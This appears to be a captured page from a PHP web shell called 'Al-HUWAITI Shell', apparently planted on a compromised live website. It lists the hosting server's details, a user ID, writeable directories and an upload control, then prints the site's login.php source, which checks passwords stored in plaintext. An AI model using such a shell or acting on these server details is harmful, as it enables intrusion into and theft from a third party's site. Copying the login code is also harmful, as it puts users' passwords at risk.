Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/debutlers.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/debutlers.com/public_html/login.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<title><?php echo $company_name; ?> - Sign in</title>
<?php $errors=0;
if (isset($_POST["log_in"])) {
	
	$email = mysqli_real_escape_string($con,$_POST['email']);
	$password = mysqli_real_escape_string($con,$_POST['password']);
	
	$sql = "SELECT * FROM users WHERE email = '$email' AND password='$password' LIMIT 1" ;
		$check_query = mysqli_query($con,$sql);
		$count_email = mysqli_num_rows($check_query);
		if($count_email > 0){
			while ($row_first_name = mysqli_fetch_array($check_query, MYSQLI_ASSOC)) {
				$first_name = $row_first_name['first_name'];
                $last_name = $row_first_name['last_name'];
				$user_id = $row_first_name['user_id'];
				$email = $row_first_name['email'];
			}
		}
		
		if($count_email !== 1){
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Wrong username or password";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=failure.php?u=$page_name&m=$message\">";exit();
			$errors = 1;
		}
		
	if($errors ==0 AND isset($_POST['log_in'])){
		
	
	
	//create the sesssion
	$_SESSION["email"] = $email;
	$_SESSION["user_id"] = $user_id;
	$_SESSION["first_name"] = $first_name;
    $_SESSION["last_name"] = $last_name;
							
	//take them to the success page
	
	echo "<meta http-equiv=\"refresh\" content=\"0; url=account.php\">";
	exit();
	}	
}
?>
        <section class="page-header">
            <div class="page-header__bg" style="background-image: url(site_img/general/<?php echo "$gen_img[8]"; ?>);"></div>
            <div class="container">
                <img src="assets/images/shapes/page-header-s-1.png" alt="Login" class="page-header__shape">
                <h2 class="page-header__title">Login</h2>
                <ul class="solinom-breadcrumb list-unstyled">
                    <li><a href="index.php">Home</a></li>
                    <li><span>Login</span></li>
                </ul>
            </div>
        </section>

        <!-- Login Start -->
        <section class="login-page">
            <div class="container">
                
                
                    <div class="row align-items-center">
                        <div class="col-lg-3"></div>
                        <div class="col-lg-6 wow fadeInUp animated" data-wow-delay="300ms">
                            <div class="login-page__wrap">
                                <h3 class="login-page__wrap__title">Login</h3>
                                <form class="login-page__form" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method='post'>
                               
                                    <div class="login-page__form-input-box">
                                        <input type="email" name='email' placeholder="Email Address*" required>
                                    </div>
                                    <div class="login-page__form-input-box">
                                        <input type="password" name='password' placeholder="Password*" required>
                                    </div>
                                    
                                    <div class="login-page__checked-box">
                                        <div class="login-page__checked-inner">
											<a href="signup.php" class="login-page__form-forgot-password__item">No Account? Sign Up</a>
                                        </div>
                                        <div class="login-page__form-forgot-password">
                                            <a href="forgotpassword.php" class="login-page__form-forgot-password__item">Forgot Password?</a>
                                        </div>
                                    </div>
                                    <div class="login-page__form-btn-box">
                                        <button type="submit" name='log_in' class="solinom-btn solinom-btn--base">Log in</button>
                                    </div>
                                </form>

                                
                            </div><!-- login-form -->
                        </div>

                        
                    </div>
                
            </div>
        </section>
        <!-- Login End -->

<?php include("footer.php"); ?>

Al-HUWAITI Shell